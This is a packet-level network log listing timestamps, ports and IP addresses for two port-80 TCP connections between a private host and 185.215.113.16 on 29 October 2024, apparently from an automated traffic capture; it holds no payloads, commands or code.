Oct 29, 2024 05:02:31.448328018 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448333025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448339939 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448364973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448393106 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448507071 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448515892 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448524952 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448544979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448554993 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448561907 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448565960 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448579073 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448589087 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448601007 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448630095 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448659897 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448669910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448681116 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448704958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448719025 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448728085 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448729992 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448743105 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448757887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448776007 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.448968887 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448987007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.448997021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449007988 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449017048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449017048 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449028015 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449037075 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449043989 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449048042 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449065924 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449073076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449075937 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449086905 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449090958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449098110 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449122906 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449146032 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449229956 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449275017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449317932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449337006 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449342966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449347019 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449357033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449368000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449376106 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449404955 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449414015 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449424028 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449434996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449444056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449450970 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449455023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449467897 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449487925 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449809074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449822903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449841022 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449853897 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449863911 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449867010 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449875116 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449891090 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449893951 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449899912 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449904919 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449917078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.449927092 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.449950933 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.490962982 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.490976095 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.490987062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.491044044 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.491080999 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.532836914 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.532851934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.532871008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.532881021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.532891989 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.532907009 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.532934904 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.532991886 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.562822104 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562853098 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562865973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562882900 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562892914 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562896013 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.562905073 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562916994 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562939882 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.562964916 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.562969923 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562980890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.562998056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563009024 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563009977 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563030005 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563060999 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563252926 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563271999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563282013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563292980 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563324928 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563324928 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563338041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563349962 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563369036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563378096 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563378096 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563405991 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563430071 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563438892 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563477993 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563536882 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563548088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563556910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.563577890 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.563591957 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564378023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564387083 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564408064 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564429045 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564454079 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564459085 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564474106 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564485073 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564508915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564519882 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564541101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564552069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564589024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564734936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564745903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564755917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564778090 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564790010 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564809084 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564820051 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564861059 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564865112 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564877033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.564887047 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564897060 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564918995 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.564980030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565015078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565023899 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565023899 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565051079 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565068960 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565085888 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565095901 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565124035 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565130949 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565134048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565150023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565160990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565167904 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565171003 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565192938 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565210104 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565228939 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565238953 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565249920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565268993 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565294981 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565316916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565356016 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565363884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565375090 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565411091 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565458059 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565505981 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565535069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565546036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565566063 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565576077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565576077 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565587997 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565593004 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565613031 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565644026 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565649033 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565655947 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565666914 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565680981 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565686941 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565697908 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565697908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565710068 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565726042 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565751076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565773010 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565813065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565830946 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565840006 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565849066 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565871000 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565896034 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565906048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565944910 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.565978050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565989017 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.565998077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566019058 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566020012 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566030979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566044092 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566071033 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566148043 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566158056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566168070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566179037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566198111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566203117 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566225052 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566236973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566237926 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566325903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566335917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566344023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566350937 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566355944 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566360950 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566380024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566406012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566431999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566442966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566452026 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566468000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566479921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566492081 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566504002 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566524029 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566545963 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566570997 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566617012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566637039 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566647053 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566656113 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566682100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566684008 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566711903 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566739082 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566756964 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566767931 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566776991 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566787004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566796064 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566823006 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566843033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566886902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566890001 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566905022 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.566926956 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.566941023 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.608572960 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.608588934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.608599901 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.608642101 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.608695984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.649867058 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.649879932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.649931908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.649938107 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.649950027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.649962902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.649975061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.649975061 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.649975061 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.650001049 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.650031090 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.679950953 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.679965973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.679982901 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.679992914 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680003881 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680026054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680026054 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.680037975 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680049896 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680059910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680072069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680085897 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.680107117 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680109024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.680119038 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680133104 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680143118 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:31.680144072 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.680170059 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:31.680192947 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:32.392667055 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:32.392973900 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:32.398282051 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:32.398346901 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:32.398458958 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:32.398622036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:32.398679018 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:32.403731108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.322701931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.322793961 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.324855089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.330193996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.608927965 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.608973026 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.608982086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.608988047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609003067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609014034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609034061 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609041929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609061003 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609103918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.609122038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.609124899 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609138966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.609165907 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.609186888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.614658117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.614708900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.614742041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.614759922 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.614762068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.614801884 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.768151045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768178940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768235922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768256903 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768270016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.768270016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.768290997 CET	49778	80	192.168.2.5	185.215.113.16
